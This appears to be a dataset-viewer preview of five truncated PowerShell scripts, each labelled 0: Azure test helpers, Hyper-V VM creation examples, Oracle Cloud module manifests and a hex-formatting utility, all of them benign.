3717.ps1 |
function Get-ResourceGroupName
{
return getAssetName
}
function Get-ResourceName
{
return getAssetName
}
function Get-VirtualNetworkName
{
return getAssetName
}
function Get-ProviderLocation($provider)
{
if ([Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::Mode -ne [Microsoft.Azure.... | 0 |
New-XVM_5.ps1 | #Examples
<#
New-XVM -Name "WS2012-TestServer01" -SwitchName "Switch(192.168.2.0/24)" -VhdType NoVHD
New-XVM -Name "WS2012-TestServer02" -SwitchName "Switch(192.168.2.0/24)" -VhdType ExistingVHD -VhdPath 'D:\\vhds\\WS2012-TestServer02.vhdx'
New-XVM -Name "WS2012-TestServer03" -SwitchName "Switch(192.168.2.0/24)" ... | 0 |
sample_40_4.ps1 | #
# Module manifest for module 'OCI.PSModules.Opensearch'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Opensearch.dll'
# Version number of this module.
ModuleVersion = '83.1.0'
# Supported PSEditions
... | 0 |
Format-HexString.ps1 | ## Format-HexString.ps1
## Format a byte array as a hexadecimal string
##
## Example usage:
## get-content 'c:\\windows\\Coffee Bean.bmp' -encoding byte | Format-HexString | more
## Convert the input to an array of bytes. This is a strongly-typed variable,
## so that we're not trying to iterate over strings, d... | 0 |
sample_67_95.ps1 | #
# Module manifest for module 'OCI.PSModules.Lockbox'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Lockbox.dll'
# Version number of this module.
ModuleVersion = '89.0.0'
# Supported PSEditions
Compat... | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.